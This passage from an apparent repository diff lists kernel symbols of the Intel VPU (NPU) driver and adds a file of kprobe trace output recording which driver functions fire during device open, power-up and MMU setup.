__pfx_fw_trace_level_fops_write [intel_vpu] +0000000000000000 t __pfx_fw_trace_destination_mask_fops_write [intel_vpu] +0000000000000000 t __pfx_fw_trace_hw_comp_mask_fops_write [intel_vpu] +0000000000000000 t __pfx_fw_log_fops_open [intel_vpu] +0000000000000000 t __pfx_fw_log_show [intel_vpu] +0000000000000000 t __pfx_fw_log_fops_write [intel_vpu] +0000000000000000 t __pfx_fw_dyndbg_fops_write [intel_vpu] +0000000000000000 t __pfx_ivpu_force_recovery_fn [intel_vpu] +0000000000000000 t __pfx_firewall_irq_counter_show [intel_vpu] +0000000000000000 t __pfx_reset_pending_show [intel_vpu] +0000000000000000 t __pfx_reset_counter_show [intel_vpu] +0000000000000000 t __pfx_fw_trace_config_show [intel_vpu] +0000000000000000 t __pfx_fw_version_show [intel_vpu] +0000000000000000 t __pfx_fw_name_show [intel_vpu] +0000000000000000 t __pfx_fw_trace_capability_show [intel_vpu] +0000000000000000 t __pfx_bo_list_show [intel_vpu] +0000000000000000 t __pfx_fw_profiling_freq_fops_write [intel_vpu] +0000000000000000 t __pfx_last_bootmode_show [intel_vpu] +0000000000000000 t __pfx_dct_active_set [intel_vpu] +0000000000000000 r _note_19 [intel_vpu] +0000000000000000 r _note_18 [intel_vpu] +0000000000000000 t __pfx_ivpu_hw_btrs_ats_print_lnl [intel_vpu] +0000000000000000 t __probestub_pm [intel_vpu] +0000000000000000 t __pfx_ivpu_hw_btrs_dct_set_status [intel_vpu] +0000000000000000 t ivpu_hw_ip_irq_clear [intel_vpu] +0000000000000000 t ivpu_hw_irq_enable [intel_vpu] +0000000000000000 t __pfx_ivpu_mmu_context_set_pages_ro [intel_vpu] +0000000000000000 t ivpu_mmu_enable [intel_vpu] +0000000000000000 t ivpu_hw_btrs_wp_drive [intel_vpu] +0000000000000000 t ivpu_bo_list [intel_vpu] +0000000000000000 t __pfx_ivpu_ipc_send_receive [intel_vpu] +0000000000000000 t __pfx_ivpu_hw_ip_pwr_domain_enable [intel_vpu] +0000000000000000 t __pfx_ivpu_mmu_context_fini [intel_vpu] +0000000000000000 t __pfx_ivpu_hw_ip_idle_gen_disable [intel_vpu] +0000000000000000 t __pfx_ivpu_mmu_invalidate_tlb [intel_vpu] +0000000000000000 t __pfx_ivpu_hw_btrs_set_port_arbitration_weights_lnl [intel_vpu] +0000000000000000 t ivpu_mmu_context_map_sgt [intel_vpu] +0000000000000000 t __pfx_ivpu_start_job_timeout_detection [intel_vpu] +0000000000000000 t ivpu_bo_create [intel_vpu] +0000000000000000 t __pfx_ivpu_job_done_consumer_init [intel_vpu] +0000000000000000 t ivpu_jsm_reset_engine [intel_vpu] +0000000000000000 t __pfx_ivpu_shutdown [intel_vpu] +0000000000000000 t __pfx_ivpu_job_done_consumer_fini [intel_vpu] +0000000000000000 t __pfx_ivpu_bo_list_print [intel_vpu] +0000000000000000 t ivpu_ipc_irq_handler [intel_vpu] +0000000000000000 t ivpu_hw_btrs_ratio_to_freq [intel_vpu] +0000000000000000 t ivpu_irq_handlers_init [intel_vpu] +0000000000000000 t ivpu_hw_btrs_global_int_disable [intel_vpu] +0000000000000000 t __pfx_ivpu_ipc_init [intel_vpu] +0000000000000000 t __pfx_ivpu_hw_btrs_telemetry_enable_get [intel_vpu] +0000000000000000 t ivpu_mmu_cd_set [intel_vpu] +0000000000000000 d ivpu_fw_log_level [intel_vpu] +0000000000000000 t ivpu_hw_irq_disable [intel_vpu] +0000000000000000 t __pfx_ivpu_ipc_send_receive_internal [intel_vpu] +0000000000000000 t __pfx_ivpu_ipc_irq_thread_handler [intel_vpu] +0000000000000000 t __pfx_ivpu_fw_init [intel_vpu] +0000000000000000 t ivpu_file_priv_put [intel_vpu] +0000000000000000 d __this_module [intel_vpu] +0000000000000000 t __pfx_ivpu_hw_btrs_wp_drive [intel_vpu] +0000000000000000 t ivpu_hw_btrs_pll_freq_get [intel_vpu] +0000000000000000 b ivpu_test_mode [intel_vpu] +0000000000000000 t __pfx_ivpu_ms_cleanup_all [intel_vpu] +0000000000000000 t ivpu_pm_dct_disable [intel_vpu] +0000000000000000 t __pfx_ivpu_hw_btrs_diagnose_failure [intel_vpu] +0000000000000000 t ivpu_hw_btrs_diagnose_failure [intel_vpu] +0000000000000000 b ivpu_force_snoop [intel_vpu] +0000000000000000 t __pfx_ivpu_pm_dct_enable [intel_vpu] +0000000000000000 t ivpu_jsm_hws_set_scheduling_log [intel_vpu] +0000000000000000 t ivpu_fw_log_print [intel_vpu] +0000000000000000 t __pfx_ivpu_hw_ip_soc_cpu_boot [intel_vpu] +0000000000000000 t ivpu_jsm_hws_register_db [intel_vpu] +0000000000000000 t ivpu_fw_load [intel_vpu] +0000000000000000 t __pfx_ivpu_hw_reset [intel_vpu] +0000000000000000 t ivpu_jsm_hws_set_context_sched_properties [intel_vpu] +0000000000000000 t __pfx_ivpu_hw_ip_irq_enable [intel_vpu] +0000000000000000 t __pfx_ivpu_mmu_context_init [intel_vpu] +0000000000000000 t ivpu_hw_btrs_irq_enable [intel_vpu] +0000000000000000 t ivpu_jsm_dct_enable [intel_vpu] +0000000000000000 d __tracepoint_jsm [intel_vpu] +0000000000000000 t __pfx_ivpu_ipc_reset [intel_vpu] +0000000000000000 t ivpu_ipc_consumer_del [intel_vpu] +0000000000000000 t __pfx_ivpu_debugfs_init [intel_vpu] +0000000000000000 t ivpu_ipc_reset [intel_vpu] +0000000000000000 t ivpu_hw_btrs_dct_get_request [intel_vpu] +0000000000000000 t __pfx_ivpu_hw_btrs_global_int_disable [intel_vpu] +0000000000000000 t cleanup_module [intel_vpu] +0000000000000000 t ivpu_hw_ip_read_perf_timer_counter [intel_vpu] +0000000000000000 t ivpu_bo_list_print [intel_vpu] +0000000000000000 t __pfx_ivpu_hw_ip_diagnose_failure [intel_vpu] +0000000000000000 t __pfx_ivpu_hw_btrs_telemetry_offset_get [intel_vpu] +0000000000000000 t ivpu_mmu_evtq_dump [intel_vpu] +0000000000000000 t __pfx_ivpu_pm_trigger_recovery [intel_vpu] +0000000000000000 t ivpu_hw_ip_irq_disable [intel_vpu] +0000000000000000 t ivpu_mmu_reserved_context_fini [intel_vpu] +0000000000000000 t __pfx_ivpu_pm_enable [intel_vpu] +0000000000000000 t __pfx_ivpu_fw_boot_params_setup [intel_vpu] +0000000000000000 t __pfx_ivpu_hw_btrs_freq_ratios_init [intel_vpu] +0000000000000000 t __pfx_ivpu_prepare_for_reset [intel_vpu] +0000000000000000 t ivpu_mmu_global_context_fini [intel_vpu] +0000000000000000 t ivpu_pm_trigger_recovery [intel_vpu] +0000000000000000 t ivpu_jsm_preempt_engine [intel_vpu] +0000000000000000 t ivpu_hw_ip_pwr_domain_enable [intel_vpu] +0000000000000000 t ivpu_hw_profiling_freq_drive [intel_vpu] +0000000000000000 t __pfx_ivpu_irq_handlers_init [intel_vpu] +0000000000000000 t __pfx_ivpu_mmu_cd_set [intel_vpu] +0000000000000000 t ivpu_hw_power_up [intel_vpu] +0000000000000000 t __pfx_ivpu_ipc_receive [intel_vpu] +0000000000000000 t ivpu_mmu_global_context_init [intel_vpu] +0000000000000000 t ivpu_ms_cleanup [intel_vpu] +0000000000000000 t ivpu_mmu_reserved_context_init [intel_vpu] +0000000000000000 t __pfx_ivpu_jsm_hws_register_db [intel_vpu] +0000000000000000 t __pfx_ivpu_hw_irq_enable [intel_vpu] +0000000000000000 t ivpu_hw_btrs_set_port_arbitration_weights_lnl [intel_vpu] +0000000000000000 t __pfx_ivpu_hw_btrs_info_init [intel_vpu] +0000000000000000 t ivpu_jsm_dct_disable [intel_vpu] +0000000000000000 t ivpu_mmu_context_insert_node [intel_vpu] +0000000000000000 t ivpu_hw_btrs_freq_ratios_init [intel_vpu] +0000000000000000 t ivpu_hw_ip_wdt_disable [intel_vpu] +0000000000000000 t ivpu_pm_dct_enable [intel_vpu] +0000000000000000 d __tracepoint_pm [intel_vpu] +0000000000000000 t ivpu_mmu_irq_evtq_handler [intel_vpu] +0000000000000000 t __pfx_ivpu_jsm_state_dump [intel_vpu] +0000000000000000 t __pfx___probestub_pm [intel_vpu] +0000000000000000 t ivpu_hw_ip_idle_gen_enable [intel_vpu] +0000000000000000 t ivpu_jsm_metric_streamer_stop [intel_vpu] +0000000000000000 t __pfx_ivpu_jsm_hws_set_context_sched_properties [intel_vpu] +0000000000000000 t __pfx_ivpu_bo_free [intel_vpu] +0000000000000000 t __pfx_ivpu_jsm_metric_streamer_stop [intel_vpu] +0000000000000000 t ivpu_pm_reset_prepare_cb [intel_vpu] +0000000000000000 b ivpu_pll_min_ratio [intel_vpu] +0000000000000000 t __pfx_ivpu_hw_btrs_irq_disable [intel_vpu] +0000000000000000 t __pfx_ivpu_jsm_metric_streamer_start [intel_vpu] +0000000000000000 t __pfx_ivpu_mmu_init [intel_vpu] +0000000000000000 t __pfx_ivpu_jsm_get_heartbeat [intel_vpu] +0000000000000000 t ivpu_bo_pin [intel_vpu] +0000000000000000 t __pfx_ivpu_mmu_disable [intel_vpu] +0000000000000000 t __pfx_ivpu_bo_create [intel_vpu] +0000000000000000 t ivpu_start_job_timeout_detection [intel_vpu] +0000000000000000 d __mod_device_table__pci__ivpu_pci_ids [intel_vpu] +0000000000000000 t ivpu_hw_btrs_global_int_enable [intel_vpu] +0000000000000000 t __pfx_ivpu_pm_runtime_resume_cb [intel_vpu] +0000000000000000 t __pfx_ivpu_jsm_hws_destroy_cmdq [intel_vpu] +0000000000000000 t __pfx_ivpu_jsm_preempt_engine [intel_vpu] +0000000000000000 t ivpu_jobs_abort_all [intel_vpu] +0000000000000000 t __pfx_ivpu_pm_resume_cb [intel_vpu] +0000000000000000 t ivpu_hw_ip_tbu_mmu_enable [intel_vpu] +0000000000000000 t __pfx_ivpu_hw_btrs_d0i3_enable [intel_vpu] +0000000000000000 t __pfx_ivpu_jsm_msg_type_to_str [intel_vpu] +0000000000000000 t __pfx_ivpu_ipc_enable [intel_vpu] +0000000000000000 t __pfx_ivpu_fw_fini [intel_vpu] +0000000000000000 t __pfx_ivpu_jsm_dct_disable [intel_vpu] +0000000000000000 t __pfx_ivpu_jsm_hws_resume_engine [intel_vpu] +0000000000000000 t __pfx_ivpu_submit_ioctl [intel_vpu] +0000000000000000 t ivpu_jsm_register_db [intel_vpu] +0000000000000000 t ivpu_ms_stop_ioctl [intel_vpu] +0000000000000000 t __pfx_ivpu_hw_btrs_telemetry_size_get [intel_vpu] +0000000000000000 t ivpu_job_done_consumer_fini [intel_vpu] +0000000000000000 t ivpu_debugfs_init [intel_vpu] +0000000000000000 t __pfx_ivpu_rpm_put [intel_vpu] +0000000000000000 t ivpu_boot [intel_vpu] +0000000000000000 t ivpu_jsm_hws_create_cmdq [intel_vpu] +0000000000000000 t __pfx_ivpu_hw_btrs_ip_reset [intel_vpu] +0000000000000000 t ivpu_hw_btrs_clock_relinquish_disable_lnl [intel_vpu] +0000000000000000 t ivpu_pm_cancel_recovery [intel_vpu] +0000000000000000 t __pfx_ivpu_pm_reset_prepare_cb [intel_vpu] +0000000000000000 t ivpu_hw_ip_diagnose_failure [intel_vpu] +0000000000000000 t __pfx_ivpu_jsm_hws_set_scheduling_log [intel_vpu] +0000000000000000 t __pfx_ivpu_bo_info_ioctl [intel_vpu] +0000000000000000 t __pfx_ivpu_mmu_evtq_dump [intel_vpu] +0000000000000000 t ivpu_hw_ip_ipc_rx_count_get [intel_vpu] +0000000000000000 t __pfx_ivpu_bo_pin [intel_vpu] +0000000000000000 t __pfx_ivpu_ipc_consumer_del [intel_vpu] +0000000000000000 d __tracepoint_job [intel_vpu] +0000000000000000 t ivpu_jsm_hws_setup_priority_bands [intel_vpu] +0000000000000000 t ivpu_jsm_dyndbg_control [intel_vpu] +0000000000000000 t ivpu_hw_ip_idle_gen_disable [intel_vpu] +0000000000000000 d ivpu_pll_max_ratio [intel_vpu] +0000000000000000 t ivpu_fw_init [intel_vpu] +0000000000000000 t __pfx_ivpu_fw_log_mark_read [intel_vpu] +0000000000000000 t ivpu_mmu_user_context_mark_invalid [intel_vpu] +0000000000000000 t ivpu_hw_btrs_wait_for_clock_res_own_ack [intel_vpu] +0000000000000000 t __pfx_ivpu_ms_get_data_ioctl [intel_vpu] +0000000000000000 t ivpu_mmu_context_init [intel_vpu] +0000000000000000 t ivpu_pm_dct_irq_thread_handler [intel_vpu] +0000000000000000 t __pfx_ivpu_hw_irq_disable [intel_vpu] +0000000000000000 t ivpu_prepare_for_reset [intel_vpu] +0000000000000000 t __pfx_ivpu_bo_unbind_all_bos_from_context [intel_vpu] +0000000000000000 t __pfx_ivpu_mmu_cd_clear [intel_vpu] +0000000000000000 t ivpu_fw_log_mark_read [intel_vpu] +0000000000000000 t __pfx_ivpu_mmu_context_insert_node [intel_vpu] +0000000000000000 t ivpu_hw_btrs_d0i3_enable [intel_vpu] +0000000000000000 t ivpu_hw_btrs_d0i3_disable [intel_vpu] +0000000000000000 t ivpu_hw_ip_host_ss_axi_enable [intel_vpu] +0000000000000000 d ivpu_sched_mode [intel_vpu] +0000000000000000 t ivpu_hw_btrs_wait_for_idle [intel_vpu] +0000000000000000 t __pfx_ivpu_hw_ip_read_perf_timer_counter [intel_vpu] +0000000000000000 t __pfx_ivpu_mmu_context_unmap_sgt [intel_vpu] +0000000000000000 t ivpu_hw_btrs_dct_set_status [intel_vpu] +0000000000000000 t ivpu_jsm_hws_destroy_cmdq [intel_vpu] +0000000000000000 t ivpu_ipc_receive [intel_vpu] +0000000000000000 t ivpu_jsm_get_heartbeat [intel_vpu] +0000000000000000 t ivpu_job_done_consumer_init [intel_vpu] +0000000000000000 t __pfx_ivpu_ipc_consumer_add [intel_vpu] +0000000000000000 t ivpu_mmu_invalidate_tlb [intel_vpu] +0000000000000000 t __pfx_ivpu_jsm_register_db [intel_vpu] +0000000000000000 d __SCK__tp_func_jsm [intel_vpu] +0000000000000000 t __pfx_ivpu_hw_ip_host_ss_axi_enable [intel_vpu] +0000000000000000 t ivpu_bo_unbind_all_bos_from_context [intel_vpu] +0000000000000000 t ivpu_hw_irq_handler [intel_vpu] +0000000000000000 t ivpu_ipc_send [intel_vpu] +0000000000000000 t __pfx_ivpu_ipc_send [intel_vpu] +0000000000000000 t __traceiter_pm [intel_vpu] +0000000000000000 t ivpu_mmu_context_unmap_sgt [intel_vpu] +0000000000000000 t __pfx_ivpu_file_priv_get [intel_vpu] +0000000000000000 t ivpu_hw_btrs_telemetry_enable_get [intel_vpu] +0000000000000000 t __pfx_ivpu_bo_create_ioctl [intel_vpu] +0000000000000000 t __pfx___traceiter_jsm [intel_vpu] +0000000000000000 t ivpu_hw_ip_ipc_rx_addr_get [intel_vpu] +0000000000000000 t ivpu_pm_suspend_cb [intel_vpu] +0000000000000000 t __pfx_ivpu_ipc_fini [intel_vpu] +0000000000000000 t __pfx_ivpu_jsm_trace_set_config [intel_vpu] +0000000000000000 t ivpu_ms_start_ioctl [intel_vpu] +0000000000000000 t ivpu_jsm_state_dump [intel_vpu] +0000000000000000 t ivpu_hw_btrs_telemetry_size_get [intel_vpu] +0000000000000000 t __pfx_ivpu_hw_btrs_wait_for_idle [intel_vpu] +0000000000000000 t ivpu_rpm_put [intel_vpu] +0000000000000000 t __pfx_ivpu_hw_ip_idle_gen_enable [intel_vpu] +0000000000000000 t __traceiter_jsm [intel_vpu] +0000000000000000 t ivpu_jsm_metric_streamer_info [intel_vpu] +0000000000000000 t __pfx_ivpu_ms_stop_ioctl [intel_vpu] +0000000000000000 t __pfx_ivpu_pm_runtime_suspend_cb [intel_vpu] +0000000000000000 t __pfx_ivpu_context_abort_locked [intel_vpu] +0000000000000000 t ivpu_submit_ioctl [intel_vpu] +0000000000000000 t ivpu_hw_ip_irq_handler_40xx [intel_vpu] +0000000000000000 t ivpu_jsm_trace_set_config [intel_vpu] +0000000000000000 t __pfx_ivpu_hw_ip_wdt_disable [intel_vpu] +0000000000000000 t ivpu_hw_power_down [intel_vpu] +0000000000000000 t __SCT__tp_func_jsm [intel_vpu] +0000000000000000 t __pfx_ivpu_hw_btrs_profiling_freq_reg_set_lnl [intel_vpu] +0000000000000000 t ivpu_mmu_disable [intel_vpu] +0000000000000000 t __pfx_ivpu_cmdq_release_all_locked [intel_vpu] +0000000000000000 t ivpu_hw_ip_ipc_tx_set [intel_vpu] +0000000000000000 t ivpu_hw_boot_fw [intel_vpu] +0000000000000000 t __pfx_ivpu_jsm_hws_create_cmdq [intel_vpu] +0000000000000000 t __pfx_ivpu_bo_create_global [intel_vpu] +0000000000000000 t ivpu_bo_info_ioctl [intel_vpu] +0000000000000000 t ivpu_mmu_init [intel_vpu] +0000000000000000 t ivpu_ipc_disable [intel_vpu] +0000000000000000 t __pfx_ivpu_sysfs_init [intel_vpu] +0000000000000000 t ivpu_hw_btrs_info_init [intel_vpu] +0000000000000000 t ivpu_hw_ip_host_ss_configure [intel_vpu] +0000000000000000 t __pfx_ivpu_bo_wait_ioctl [intel_vpu] +0000000000000000 t ivpu_hw_ip_soc_cpu_boot [intel_vpu] +0000000000000000 t ivpu_ms_get_data_ioctl [intel_vpu] +0000000000000000 t __pfx_cleanup_module [intel_vpu] +0000000000000000 t __pfx_ivpu_jsm_hws_setup_priority_bands [intel_vpu] +0000000000000000 t ivpu_jsm_msg_type_to_str [intel_vpu] +0000000000000000 t ivpu_pm_reset_done_cb [intel_vpu] +0000000000000000 t __pfx_ivpu_file_priv_put [intel_vpu] +0000000000000000 t __pfx_ivpu_hw_boot_fw [intel_vpu] +0000000000000000 t __pfx_ivpu_hw_ip_tbu_mmu_enable [intel_vpu] +0000000000000000 t ivpu_mmu_irq_gerr_handler [intel_vpu] +0000000000000000 t ivpu_ipc_send_and_wait [intel_vpu] +0000000000000000 t __pfx_ivpu_jsm_dct_enable [intel_vpu] +0000000000000000 t ivpu_ipc_consumer_add [intel_vpu] +0000000000000000 t __pfx_ivpu_hw_ip_ipc_rx_addr_get [intel_vpu] +0000000000000000 t ivpu_ipc_enable [intel_vpu] +0000000000000000 t __pfx_ivpu_cmdq_reset_all_contexts [intel_vpu] +0000000000000000 t __pfx___probestub_jsm [intel_vpu] +0000000000000000 t ivpu_stop_job_timeout_detection [intel_vpu] +0000000000000000 t __pfx_ivpu_mmu_context_map_sgt [intel_vpu] +0000000000000000 t ivpu_hw_btrs_irqs_clear_with_0_mtl [intel_vpu] +0000000000000000 t __pfx_ivpu_hw_ip_top_noc_enable [intel_vpu] +0000000000000000 t __probestub_job [intel_vpu] +0000000000000000 t ivpu_pm_runtime_resume_cb [intel_vpu] +0000000000000000 t ivpu_hw_btrs_ats_print_lnl [intel_vpu] +0000000000000000 t __pfx_ivpu_fw_load [intel_vpu] +0000000000000000 t __pfx_ivpu_jsm_context_release [intel_vpu] +0000000000000000 t ivpu_ipc_irq_thread_handler [intel_vpu] +0000000000000000 t __traceiter_job [intel_vpu] +0000000000000000 t __pfx_ivpu_ms_cleanup [intel_vpu] +0000000000000000 t __pfx_ivpu_jobs_abort_all [intel_vpu] +0000000000000000 t __pfx_ivpu_hw_btrs_irq_handler_lnl [intel_vpu] +0000000000000000 t __pfx_ivpu_pm_dct_disable [intel_vpu] +0000000000000000 t ivpu_mmu_context_set_pages_ro [intel_vpu] +0000000000000000 t __pfx_ivpu_mmu_reserved_context_init [intel_vpu] +0000000000000000 t ivpu_file_priv_get [intel_vpu] +0000000000000000 t __pfx_ivpu_hw_btrs_pll_freq_get [intel_vpu] +0000000000000000 t __pfx_ivpu_hw_init [intel_vpu] +0000000000000000 t ivpu_fw_fini [intel_vpu] +0000000000000000 t __pfx_ivpu_hw_btrs_wait_for_clock_res_own_ack [intel_vpu] +0000000000000000 t ivpu_context_abort_locked [intel_vpu] +0000000000000000 t __pfx_ivpu_hw_btrs_global_int_enable [intel_vpu] +0000000000000000 t __pfx_ivpu_mmu_enable [intel_vpu] +0000000000000000 t __pfx_ivpu_hw_power_up [intel_vpu] +0000000000000000 t __SCT__tp_func_pm [intel_vpu] +0000000000000000 t __pfx_ivpu_fw_log_reset [intel_vpu] +0000000000000000 t ivpu_jsm_metric_streamer_start [intel_vpu] +0000000000000000 t __pfx_ivpu_mmu_irq_evtq_handler [intel_vpu] +0000000000000000 t __pfx___probestub_job [intel_vpu] +0000000000000000 t ivpu_ipc_init [intel_vpu] +0000000000000000 t __pfx___traceiter_job [intel_vpu] +0000000000000000 t __pfx_ivpu_hw_btrs_irq_enable [intel_vpu] +0000000000000000 t __probestub_jsm [intel_vpu] +0000000000000000 t __pfx_ivpu_pm_reset_done_cb [intel_vpu] +0000000000000000 t ivpu_jsm_metric_streamer_update [intel_vpu] +0000000000000000 t ivpu_hw_btrs_ip_reset [intel_vpu] +0000000000000000 b ivpu_disable_mmu_cont_pages [intel_vpu] +0000000000000000 t ivpu_hw_btrs_profiling_freq_reg_set_lnl [intel_vpu] +0000000000000000 t ivpu_pm_dct_init [intel_vpu] +0000000000000000 t __pfx_ivpu_hw_ip_db_set [intel_vpu] +0000000000000000 t __pfx_ivpu_mmu_user_context_mark_invalid [intel_vpu] +0000000000000000 t __pfx_ivpu_hw_ip_irq_handler_40xx [intel_vpu] +0000000000000000 t __pfx_ivpu_jsm_reset_engine [intel_vpu] +0000000000000000 t ivpu_cmdq_release_all_locked [intel_vpu] +0000000000000000 t __pfx_ivpu_pm_init [intel_vpu] +0000000000000000 t ivpu_pm_init [intel_vpu] +0000000000000000 t ivpu_hw_ip_db_set [intel_vpu] +0000000000000000 t ivpu_ms_cleanup_all [intel_vpu] +0000000000000000 t __pfx_ivpu_gem_create_object [intel_vpu] +0000000000000000 t __pfx_ivpu_hw_btrs_clock_relinquish_disable_lnl [intel_vpu] +0000000000000000 t __pfx_ivpu_ms_start_ioctl [intel_vpu] +0000000000000000 t ivpu_bo_create_ioctl [intel_vpu] +0000000000000000 t ivpu_bo_free [intel_vpu] +0000000000000000 t __pfx_ivpu_jsm_metric_streamer_update [intel_vpu] +0000000000000000 t __pfx_ivpu_hw_profiling_freq_drive [intel_vpu] +0000000000000000 t __pfx_ivpu_hw_irq_handler [intel_vpu] +0000000000000000 t ivpu_ipc_send_receive_internal [intel_vpu] +0000000000000000 t __pfx_ivpu_mmu_reserved_context_fini [intel_vpu] +0000000000000000 t ivpu_jsm_trace_get_capability [intel_vpu] +0000000000000000 t ivpu_jsm_pwr_d0i3_enter [intel_vpu] +0000000000000000 t __pfx_ivpu_mmu_context_remove_node [intel_vpu] +0000000000000000 t __pfx_ivpu_hw_btrs_irq_handler_mtl [intel_vpu] +0000000000000000 b ivpu_dbg_mask [intel_vpu] +0000000000000000 t ivpu_ipc_fini [intel_vpu] +0000000000000000 t __pfx_ivpu_hw_ip_ipc_rx_count_get [intel_vpu] +0000000000000000 t __pfx_ivpu_jsm_dyndbg_control [intel_vpu] +0000000000000000 t __pfx_ivpu_hw_ip_host_ss_configure [intel_vpu] +0000000000000000 t ivpu_ipc_send_receive [intel_vpu] +0000000000000000 t ivpu_hw_btrs_irq_disable [intel_vpu] +0000000000000000 t __pfx_ivpu_jsm_unregister_db [intel_vpu] +0000000000000000 t __pfx_ivpu_hw_btrs_is_idle [intel_vpu] +0000000000000000 t ivpu_fw_boot_params_setup [intel_vpu] +0000000000000000 t __pfx_ivpu_ipc_disable [intel_vpu] +0000000000000000 t __SCT__tp_func_job [intel_vpu] +0000000000000000 t __pfx_ivpu_hw_ip_irq_handler_37xx [intel_vpu] +0000000000000000 t __pfx_ivpu_pm_disable [intel_vpu] +0000000000000000 t __pfx_ivpu_rpm_get [intel_vpu] +0000000000000000 t ivpu_hw_reset [intel_vpu] +0000000000000000 t ivpu_mmu_cd_clear [intel_vpu] +0000000000000000 t __pfx_ivpu_pm_dct_init [intel_vpu] +0000000000000000 t ivpu_dev_coredump [intel_vpu] +0000000000000000 t ivpu_hw_init [intel_vpu] +0000000000000000 t __pfx_ivpu_jsm_metric_streamer_info [intel_vpu] +0000000000000000 t __pfx_ivpu_fw_log_print [intel_vpu] +0000000000000000 t __pfx_ivpu_hw_power_down [intel_vpu] +0000000000000000 t ivpu_hw_btrs_irq_handler_lnl [intel_vpu] +0000000000000000 t ivpu_fw_log_reset [intel_vpu] +0000000000000000 t __pfx_ivpu_hw_ip_irq_clear [intel_vpu] +0000000000000000 t __pfx_ivpu_pm_dct_irq_thread_handler [intel_vpu] +0000000000000000 t ivpu_hw_btrs_telemetry_offset_get [intel_vpu] +0000000000000000 t __pfx_ivpu_jsm_pwr_d0i3_enter [intel_vpu] +0000000000000000 t ivpu_sysfs_init [intel_vpu] +0000000000000000 t __pfx_ivpu_mmu_irq_gerr_handler [intel_vpu] +0000000000000000 t __pfx_ivpu_hw_btrs_irqs_clear_with_0_mtl [intel_vpu] +0000000000000000 t ivpu_jsm_context_release [intel_vpu] +0000000000000000 t __pfx_ivpu_bo_list [intel_vpu] +0000000000000000 t ivpu_hw_ip_irq_handler_37xx [intel_vpu] +0000000000000000 t __pfx_ivpu_pm_suspend_cb [intel_vpu] +0000000000000000 t ivpu_jsm_unregister_db [intel_vpu] +0000000000000000 t ivpu_hw_btrs_irq_handler_mtl [intel_vpu] +0000000000000000 t __pfx___traceiter_pm [intel_vpu] +0000000000000000 t ivpu_hw_ip_top_noc_enable [intel_vpu] +0000000000000000 t __pfx_ivpu_hw_ip_ipc_tx_set [intel_vpu] +0000000000000000 t __pfx_ivpu_boot [intel_vpu] +0000000000000000 t ivpu_hw_ip_irq_enable [intel_vpu] +0000000000000000 t ivpu_bo_wait_ioctl [intel_vpu] +0000000000000000 t __pfx_ivpu_ipc_irq_handler [intel_vpu] +0000000000000000 d __SCK__tp_func_job [intel_vpu] +0000000000000000 t ivpu_hw_btrs_is_idle [intel_vpu] +0000000000000000 t ivpu_pm_disable [intel_vpu] +0000000000000000 t __pfx_ivpu_dev_coredump [intel_vpu] +0000000000000000 t __pfx_ivpu_hw_btrs_d0i3_disable [intel_vpu] +0000000000000000 t __pfx_ivpu_ms_get_info_ioctl [intel_vpu] +0000000000000000 t ivpu_hw_ip_snoop_disable [intel_vpu] +0000000000000000 t __pfx_ivpu_mmu_global_context_fini [intel_vpu] +0000000000000000 t ivpu_cmdq_reset_all_contexts [intel_vpu] +0000000000000000 t ivpu_rpm_get [intel_vpu] +0000000000000000 d __SCK__tp_func_pm [intel_vpu] +0000000000000000 t __pfx_ivpu_mmu_global_context_init [intel_vpu] +0000000000000000 t __pfx_ivpu_hw_btrs_dct_get_request [intel_vpu] +0000000000000000 t ivpu_mmu_context_remove_node [intel_vpu] +0000000000000000 t __pfx_ivpu_stop_job_timeout_detection [intel_vpu] +0000000000000000 t ivpu_pm_enable [intel_vpu] +0000000000000000 t ivpu_pm_runtime_suspend_cb [intel_vpu] +0000000000000000 t __pfx_ivpu_pm_cancel_recovery [intel_vpu] +0000000000000000 t __pfx_ivpu_hw_ip_snoop_disable [intel_vpu] +0000000000000000 t __pfx_ivpu_hw_btrs_ratio_to_freq [intel_vpu] +0000000000000000 t ivpu_bo_create_global [intel_vpu] +0000000000000000 t __pfx_ivpu_hw_ip_irq_disable [intel_vpu] +0000000000000000 t ivpu_pm_resume_cb [intel_vpu] +0000000000000000 t ivpu_mmu_context_fini [intel_vpu] +0000000000000000 t __pfx_ivpu_ipc_send_and_wait [intel_vpu] +0000000000000000 t __pfx_ivpu_jsm_trace_get_capability [intel_vpu] +0000000000000000 t ivpu_shutdown [intel_vpu] +0000000000000000 t ivpu_ms_get_info_ioctl [intel_vpu] +0000000000000000 t ivpu_jsm_hws_resume_engine [intel_vpu] +0000000000000000 t ivpu_gem_create_object [intel_vpu] diff --git a/src/xpu/npu-kernel-driver/trace_res.txt b/src/xpu/npu-kernel-driver/trace_res.txt new file mode 100644 index 00000000..f82f5d87 --- /dev/null +++ b/src/xpu/npu-kernel-driver/trace_res.txt @@ -0,0 +1,8201 @@ +Attaching 223 probes... +kprobe:intel_vpu:ivpu_open +kprobe:intel_vpu:ivpu_mmu_context_init +kprobe:intel_vpu:ivpu_get_param_ioctl +kprobe:intel_vpu:ivpu_get_param_ioctl +kprobe:intel_vpu:ivpu_get_param_ioctl +kprobe:intel_vpu:ivpu_get_param_ioctl +kprobe:intel_vpu:ivpu_hw_btrs_ratio_to_freq +kprobe:intel_vpu:ivpu_get_param_ioctl +kprobe:intel_vpu:ivpu_get_param_ioctl +kprobe:intel_vpu:ivpu_get_param_ioctl +kprobe:intel_vpu:ivpu_get_param_ioctl +kprobe:intel_vpu:ivpu_get_param_ioctl +kprobe:intel_vpu:ivpu_get_param_ioctl +kprobe:intel_vpu:ivpu_get_param_ioctl +kprobe:intel_vpu:ivpu_get_param_ioctl +kprobe:intel_vpu:ivpu_postclose +kprobe:intel_vpu:ivpu_ms_cleanup +kprobe:intel_vpu:ivpu_file_priv_put +kprobe:intel_vpu:ivpu_pm_runtime_resume_cb +kprobe:intel_vpu:ivpu_resume +kprobe:intel_vpu:ivpu_hw_power_up +kprobe:intel_vpu:ivpu_hw_btrs_d0i3_disable +kprobe:intel_vpu:ivpu_hw_btrs_wp_drive +kprobe:intel_vpu:ivpu_hw_btrs_profiling_freq_reg_set_lnl +kprobe:intel_vpu:ivpu_hw_btrs_ats_print_lnl +kprobe:intel_vpu:ivpu_hw_ip_host_ss_configure +kprobe:intel_vpu:ivpu_hw_ip_idle_gen_disable +kprobe:intel_vpu:ivpu_hw_btrs_wait_for_clock_res_own_ack +kprobe:intel_vpu:ivpu_hw_ip_pwr_domain_enable +kprobe:intel_vpu:ivpu_hw_ip_host_ss_axi_enable +kprobe:intel_vpu:ivpu_hw_btrs_set_port_arbitration_weights_lnl +kprobe:intel_vpu:ivpu_hw_ip_top_noc_enable +kprobe:intel_vpu:ivpu_mmu_enable 